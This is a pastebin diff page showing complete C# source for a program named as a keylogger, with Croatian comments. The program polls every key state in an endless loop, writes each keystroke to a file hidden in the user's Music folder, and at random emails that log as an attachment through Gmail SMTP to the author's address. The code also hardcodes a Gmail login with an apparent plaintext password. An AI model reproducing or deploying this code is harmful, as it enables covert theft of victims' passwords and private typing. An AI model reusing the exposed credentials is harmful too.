View difference between Paste ID: zFB98M6P and bje5cvuh
SHOW: | | - or go back to the newest paste.
1
using System;
2
using System.Collections.Generic;
3
using System.Linq;
4
using System.Text;
5
using System.Threading.Tasks;
6
using System.IO;
7
using System.Threading;
8
using System.Windows.Forms;
9
using System.Runtime.InteropServices;
10
using System.Net.Mail;
11
12
13
namespace newapplicationKeylogger
14
{
15
    class Program
16
    {
17
        private static int i;
18
19
        [DllImport("User32.dll")]
20
21
        public static extern int GetAsyncKeyState(Int32 i);
22
       
23
        static void Main(string[] args)
24
        {
25
            Random rand = new Random();
26
            int randomnumber = rand.Next(1, 3);
27
         
28
            if (randomnumber == 2)            
29
            {
30
                SendMail();
31
            }
32
            LogKeys();
33
            
34
          
35
        }
36
        static void SendMail()
37
        {
38
            String Newfilepath = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
39
            string Newfilepath2 = Newfilepath + @"\LogsFolder\LoggedKeys.text"; // lokacija foldera sa zapisanim logovim
40
41
            DateTime dateTime = DateTime.Now; // Datum poziva funkcije
42
            string subtext = "Loggedfiles"; // Dodavanje predmeta poruke
43
            subtext += dateTime; //dodavanje datuma u predmet poruke
44
            
45
            SmtpClient client = new SmtpClient("smtp.gmail.com", 587); // 587 je port od Gmail-a
46
            MailMessage LOGMESSAGE = new MailMessage();
47
            LOGMESSAGE.From = new MailAddress("ivan.milas3@gmail.com"); // Adresa sa koje šaljemo logove
48
            LOGMESSAGE.To.Add("ivan.milas3@gmail.com"); // adresa na koju šaljemo logove
49
            LOGMESSAGE.Subject = subtext; // predmet poruke
50
51
            client.UseDefaultCredentials = false;      
52
            client.EnableSsl = true;
53
            client.Credentials = new System.Net.NetworkCredential("ivan.milas3@gmail.com", "TZE2fC6s");//Ovdje unosimo vlastitu e-mail adresu i lozinku
54
                                                                      
55
56
            string newfile = File.ReadAllText(Newfilepath2); // citamo tekst koji se nalazi na danoj lokaciji
57
            System.Threading.Thread.Sleep(2);
58
            string attachmenttextfile = Newfilepath + @"\LogsFolder\attachmenttextfile.text"; // dodavanje novog fajla nakon slanja 
59
            File.WriteAllText(attachmenttextfile, newfile); // zapisujemo tekst u novu datoteku
60
            System.Threading.Thread.Sleep(2);
61
            LOGMESSAGE.Attachments.Add(new Attachment(Newfilepath2)); // dodajemo privitak u email koji saljemo
62
            LOGMESSAGE.Body = subtext; //tijelo poruke ostavljamo prazno
63
            client.Send(LOGMESSAGE); // slanje poruke          
64
            LOGMESSAGE = null; // brišemo prethodne vrijednosti
65
            
66
67
            
68
            
69
        }
70
        static void LogKeys()
71
        {
72
            String filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
73
            filepath = filepath + @"\LogsFolder\";
74
75
            if (!Directory.Exists(filepath))
76
            {
77
                Directory.CreateDirectory(filepath);
78
            }
79
80
            string path = (@filepath + "LoggedKeys.text");
81
82
            if (!File.Exists(path))
83
            {
84
                using (StreamWriter sw = File.CreateText(path))
85
                {
86
87
                }
88
                //kraj trazenja datoteke
89
            }
90
91
            KeysConverter converter = new KeysConverter();
92
            string text = "";
93
94
            while (5 > 1)
95
            {
96
97
                Thread.Sleep(5);
98
                for (Int32 i = 0; i < 2000; i++)
99
                {
100
                    int key = GetAsyncKeyState(i);
101
                    
102
                    if (key == 1 || key == -32767)
103
                    {
104
                        text = converter.ConvertToString(i);//pretvaranje znaka
105
                        using (StreamWriter sw = File.AppendText(path))
106
                        {
107
                            sw.WriteLine(text);
108
                        }
109
                        break;
110
111
                    }
112
                   
113
              
114
115
                }
116
117
            }
118
119
        }
120
121
    }
122
        }